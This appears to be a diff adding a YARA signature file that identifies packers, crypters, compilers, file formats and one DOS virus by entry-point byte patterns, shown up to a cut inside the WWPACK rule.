+rule _EXE_Stealth_v26__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.6 -> WebToolMaster"
+	strings:
+		$0 = {60 EB 22 45 78 65 53 74 65 61 6C 74 68 20 2D 20}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_V1x__SISTeam_
+{
+	meta:
+		description = "AntiDote V1.x -> SIS-Team"
+	strings:
+		$0 = {68 ?? ?? 00 00 E8 ?? FD FF FF 68 ?? ?? 00 00 E8 ?? FD FF FF 68 90 03 00 00 E8 ?? FD FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? FD FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_FSG_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Com_Cryptor_BTS_912_
+{
+	meta:
+		description = "Com Cryptor BTS 9.12"
+	strings:
+		$0 = {B7 00 E8 05 00 83 ED 02 EB 03 5D 55 C3 BF 1A 00 03 FD 8B F7 B9 71 02 AC 02 C7 AA E2 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_220221__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.20/2.21 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 32 12 00 00 A3 B0 44 40 00 68 F4 01 00 00 68 BC 44 40 00 FF 35 B8 44 40 00 E8 1E 12 00 00 B8 BC 44 40 00 89 C1 8A 30 40 80 FE 5C 75 02 89 C1 80 FE 00 75 F1 C6 01 00 E8 EC 18 00 00 E8 28 16 00 00 E8 4A 12 00 00 68 00 FA 00 00 68 08 00 00 00 FF 35 B0 44 40 00 E8 E7 11 00 00 A3 B4 44 40 00 8B 15 D4 46 40 00 E8 65 0A 00 00 BB 00 00 10 00 B8 01 00 00 00 E8 72 0A 00 00 74 09 C7 00 01 00 00 00 83 C0 04 A3 D4 46 40 00 FF 35 B4 44 40 00 E8 26 05 00 00 8D 0D B8 46 40 00 5A E8 CF 0F 00 00 FF 35 B4 44 40 00 FF 35 B8 46 40 00 E8 EE 06 00 00 8D 0D B4 46 40 00 5A E8}
+		$1 = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 32 12 00 00 A3 B0 44 40 00 68 F4 01 00 00 68 BC 44 40 00 FF 35 B8 44 40 00 E8 1E 12 00 00 B8 BC 44 40 00 89 C1 8A 30 40 80 FE 5C 75 02 89 C1 80 FE 00 75 F1 C6 01 00 E8 EC 18 00 00 E8 28 16 00 00 E8 4A 12 00 00 68 00 FA 00 00 68 08 00 00 00 FF 35 B0 44 40 00 E8 E7 11 00 00 A3 B4 44 40 00 8B 15 D4 46 40 00 E8 65 0A 00 00 BB 00 00 10 00 B8 01 00 00 00 E8 72 0A 00 00 74 09 C7 00 01 00 00 00 83 C0 04 A3 D4 46 40 00 FF 35 B4 44 40 00 E8 26 05 00 00 8D 0D B8 46 40 00 5A E8 CF 0F 00 00 FF 35 B4 44 40 00 FF 35 B8 46 40 00 E8 EE 06 00 00 8D 0D B4 46 40 00 5A E8}
+		$2 = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASPack_v21_
+{
+	meta:
+		description = "ASPack v2.1"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _RJoiner_12a__Vaska_
+{
+	meta:
+		description = "RJoiner 1.2a -> Vaska"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00 C0 57 FF 15 04 10 40 00 89 45 F8 94 90 94 8B 06 8D 74 06 04 94 90 94 8D 45 FC 53 50 8D 46 04 FF 36 50 FF 75 F8 FF 15 00 10 40 00 94 90 94 FF 75 F8 FF 15 10 10 40 00 94 90 94 8D 85 F4 FE FF FF 6A 0A 50 53 57 68 20 10 40 00 53 FF 15 18 10 40 00 94 90 94 8B 06 8D 74 06 04 94 90 94 83 3E FF 75 89 5F 5B 33 C0 5E C9 C2 10 00 CC CC 24 11}
+		$1 = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00}
+		$2 = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00 C0 57 FF 15 04 10 40 00 89 45 F8 94 90 94 8B 06 8D 74 06 04 94 90 94 8D 45 FC 53 50 8D 46 04 FF 36 50 FF 75 F8 FF 15 00 10 40 00 94 90 94 FF 75 F8 FF 15 10 10 40 00 94 90 94 8D 85 F4 FE FF FF 6A 0A 50 53 57 68 20 10 40 00 53 FF 15 18 10 40 00 94 90 94 8B 06 8D 74 06 04 94 90 94 83 3E FF 75 89 5F 5B 33 C0 5E C9 C2 10 00 CC CC 24 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Borland_PE_loader_
+{
+	meta:
+		description = "Borland PE loader"
+	strings:
+		$0 = {8C C8 8E D8 8C 1E 42 00 8C 06 3C 00 8C 06 46 00 8C 06 4A 00 8B DC 83 C3 0F D1 EB D1 EB D1 EB D1 EB 8C D0 03 D8 2B 1E 3C 00 B8 00 4A CD 21 B8 42 FB BB 33 32 CD 2F 83 FB 00 0F 84 00 01 BA 52 00 1E 07 BB 3E 00 B8 00 4B CD 21 0F 83 00 01 8E 06}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10802__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.02 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Interchange_Format_File_IFF_type_WVQA_
+{
+	meta:
+		description = "Interchange Format File (IFF), type WVQA"
+	strings:
+		$0 = {46 4F 52 4D ?? ?? ?? ?? 57 56 51 41 56 51 48 44}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_v11__Northfox_
+{
+	meta:
+		description = "MEW 11 SE v1.1 -> Northfox"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 0C ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Diet_100_EXE_
+{
+	meta:
+		description = "Diet 1.00 [EXE]"
+	strings:
+		$0 = {FC 06 1E 0E 8C C8 01 06 38 01 BA 00 00 03 C2 8B D8 05 00 00 8E DB 8E C0 33 F6 33 FF B9 08 00 F3 A5 4B 48 4A 79 EE 8E C3 8E D8 BE 4A 00 AD 8B E8 B2 10 EA 00 00 00 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v1061b_
+{
+	meta:
+		description = "ASPack v1.061b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+	condition:
+		$0 at entrypoint
+}
+rule _HQR_data_file_
+{
+	meta:
+		description = "HQR data file"
+	strings:
+		$0 = {48 00 00 00 ?? 02 00 00 ?? ?? 00 00 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v041x_
+{
+	meta:
+		description = "tElock v0.41x"
+	strings:
+		$0 = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_25A__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.5A -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8 37 D3 FF FF C7 05 BC 6C 40 00 0A 00 00 00 BB 68 6C 40 00 BE 90 6C 40 00 BF E8 64 40 00 B8 C0 6C 40 00 BA 04 00 00 00 E8 07 EC FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 09 F3 FF FF 89 03 83 3B 00 0F 84 BB 04 00 00 B8 C0 6C 40 00 8B 16 E8 06 E2 FF FF B8 C0 6C 40 00 E8 24 E1 FF FF 8B D0 8B 03 8B 0E E8 D1 D2 FF FF 8B C7 A3 20 6E 40 00 8D 55 EC 33 C0 E8 0C D4 FF FF 8B 45 EC B9 1C 6E 40 00 BA 18 6E 40 00}
+		$1 = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8 37 D3 FF FF C7 05 BC 6C 40 00 0A 00 00 00 BB 68 6C 40 00 BE 90 6C 40 00 BF E8 64 40 00 B8 C0 6C 40 00 BA 04 00 00 00 E8 07 EC FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 09 F3 FF FF 89 03 83 3B 00 0F 84 BB 04 00 00 B8 C0 6C 40 00 8B 16 E8 06 E2 FF FF B8 C0 6C 40 00 E8 24 E1 FF FF 8B D0 8B 03 8B 0E E8 D1 D2 FF FF 8B C7 A3 20 6E 40 00 8D 55 EC 33 C0 E8 0C D4 FF FF 8B 45 EC B9 1C 6E 40 00 BA 18 6E 40 00}
+		$2 = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _aPack_082_m_p_COM_
+{
+	meta:
+		description = "aPack 0.82 -m -p [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE AE 01 BF 00 01 50 57 FC B6 01 BD 7B 01 FF D5 73 5B FF D5 73 1C FF D5 73 3D BB 92 01 33 C9 FF D3 FF D3 FF D3 FF D3 8B D9 B1 01 85 DB 75 34 93 EB 36 E8 46 00 49 49 75 0A 2E 8B 1E 00 01 E8 3A 00 EB 20 49 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PCC_12_
+{
+	meta:
+		description = "PCC 1.2"
+	strings:
+		$0 = {36 8C 1E 00 00 A1 02 00 8C D3 2B C3 77 03 E9 D3 00 48 3D 00 10 72 03 B8 FF 0F B1 04 D3 E0 3B C4 73 03 E9 BF 00 36 8B 1E 00 00 36 03 1E 02 00 83 C3 7F 3B E3 75 02 8B E0 36 89 26 00 00 B4 30 CD 21 3C 02 72 06 36 C6 06 00 00 01 C6 06 FF 00 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_50_
+{
+	meta:
+		description = "Microsoft Visual C++ 5.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Necropolis_
+{
+	meta:
+		description = "Vx: Necropolis"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0}
+		$1 = {50 FC AD 33 C2 AB 8B D0 E2 F8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BeRoEXEPacker_v100_LZBRS__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRS] -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Open_Source_Code_Crypter__p0ke_
+{
+	meta:
+		description = "Open Source Code Crypter -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0 E0 FF FF BE 01 00 00 00 B8 2C 68 40 00 E8 E1 F0 FF FF BF 0A 00 00 00 8D 55 EC 8B C6 E8 92 FC FF FF 8B 4D EC B8 2C 68 40 00 BA BC 47 40 00 E8 54 F2 FF FF A1 2C 68 40 00 E8 52 F3 FF FF 8B D0 B8 20 67 40 00 E8 A2 FC FF FF 8B D8 85 DB 0F 84 52 02 00 00 B8 24 67 40 00 8B 15 20 67 40 00 E8 78 F4 FF FF B8 24 67 40 00 E8 7A F3 FF FF 8B D0 8B C3 8B 0D 20 67 40 00 E8 77 E0 FF FF 8D 55 E8 A1 24 67 40 00 E8 42 FD FF FF 8B 55 E8 B8 24 67 40 00}
+		$1 = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0}
+		$2 = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0 E0 FF FF BE 01 00 00 00 B8 2C 68 40 00 E8 E1 F0 FF FF BF 0A 00 00 00 8D 55 EC 8B C6 E8 92 FC FF FF 8B 4D EC B8 2C 68 40 00 BA BC 47 40 00 E8 54 F2 FF FF A1 2C 68 40 00 E8 52 F3 FF FF 8B D0 B8 20 67 40 00 E8 A2 FC FF FF 8B D8 85 DB 0F 84 52 02 00 00 B8 24 67 40 00 8B 15 20 67 40 00 E8 78 F4 FF FF B8 24 67 40 00 E8 7A F3 FF FF 8B D0 8B C3 8B 0D 20 67 40 00 E8 77 E0 FF FF 8D 55 E8 A1 24 67 40 00 E8 42 FD FF FF 8B 55 E8 B8 24 67 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Microsoft_Windows_Shortcut_file_
+{
+	meta:
+		description = "Microsoft Windows Shortcut file"
+	strings:
+		$0 = {4C 00 00 00 01 14 02 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HelpEXE_12_
+{
+	meta:
+		description = "HelpEXE 1.2"
+	strings:
+		$0 = {FA 2E 8C 16 00 00 2E 89 26 00 00 8C C8 8E D0 8D 06 DC 00 89 C4 FB FC BE 81 00 AC 3C 20 74 FB 3C 3F 74 24 3C 2F 75 05 AC 3C 3F 74 1B 8C D8 05 10 00 2E 01 06 00 00 FA 2E 8E 16 00 00 2E 8B 26 00 00 FB 2E FF 2E 00 00 0E 1F BA 00 00 B4 09 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_066_COM_
+{
+	meta:
+		description = "aPack 0.66 [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 9C 01 BF 00 01 50 57 FC B6 01 BD 7D 01 FF D5 73 5D FF D5 73 1C FF D5 73 3B BB 94 01 33 C9 FF D3 FF D3 FF D3 FF D3 8B D9 B1 01 85 DB 75 36 93 EB 38 E8 48 00 49 49 75 06 2E A1 00 01 EB 08 49 AC 8A E1 2E A3}
+	condition:
+		$0 at entrypoint
+}
+rule _KGCrypt_vxx_
+{
+	meta:
+		description = "KGCrypt vx.x"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+		$1 = {E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FFSE_04R_
+{
+	meta:
+		description = "FFSE 0.4R"
+	strings:
+		$0 = {60 E9 B2 00 EB 01 C7 E8 6C 00 FC 0F 21 D1 FA 68 00 00 07 06 1F FF E1 52 91 A7 B5 D8 6A 50 A8 67 76 6E 30 86 D8 87 91 A7 40 88 92 71 25 EB 03 EB FC 83 66 C1 CC 10 EB 01 F7 E8 3A 00 B9 EB 03 EB FC C6 B9 00 08 33 F6 BF EB 03 EB FC C0 8B FE 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Apex_c_beta__500mhz_
+{
+	meta:
+		description = "Apex_c beta -> 500mhz"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 85 ?? ?? ?? ?? 00 00 00 00 E8 ?? ?? ?? ?? 83 C4 04 83 F8 64 7C ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 A1 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 66 8B 55 00 83 C5 08}
+		$1 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ABKprot_100_
+{
+	meta:
+		description = "ABKprot 1.00"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D FF 02 73 02 CD 20 9C 8C C0 06 5B 59 51 53 BA 1C 01 87 F2 56 CF 0E 1F 0E 07 BF 00 00 BE 2F 01 B9 22 00 F3 A4 68 00 00 C3 BE 51 01 BF 00 01 B9 00 00 AC 33 C7 35 24 24 AA E2 F7 33 C0 8B D8 8B C8 8B D0 8B F0 8B F8 68 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v12_
+{
+	meta:
+		description = "FSG v1.2"
+	strings:
+		$0 = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+		$1 = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC}
+		$2 = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _FSG_110_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V112752006Beta__NEOx____200800212_
+{
+	meta:
+		description = "nPack V1.1.275.2006.Beta -> NEOx   * 200800212"
+	strings:
+		$0 = {55 8B EC 51 51 56 57 BE ?? ?? ?? ?? 8D 7D F8 66 A5 A4 BE ?? ?? ?? ?? 8D 7D FC 8D 45 FC 66 A5 50 8D 45 F8 50 A4 FF 15 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 5F 5E 75 05 E8 02 00 00 00 C9 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 1A 02 00 00 E8 CA 06 00 00 E8 19 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_v211_DEMO_
+{
+	meta:
+		description = "ORiEN v2.11 (DEMO)"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CD 0D}
+		$1 = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+		$2 = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable)"
+	strings:
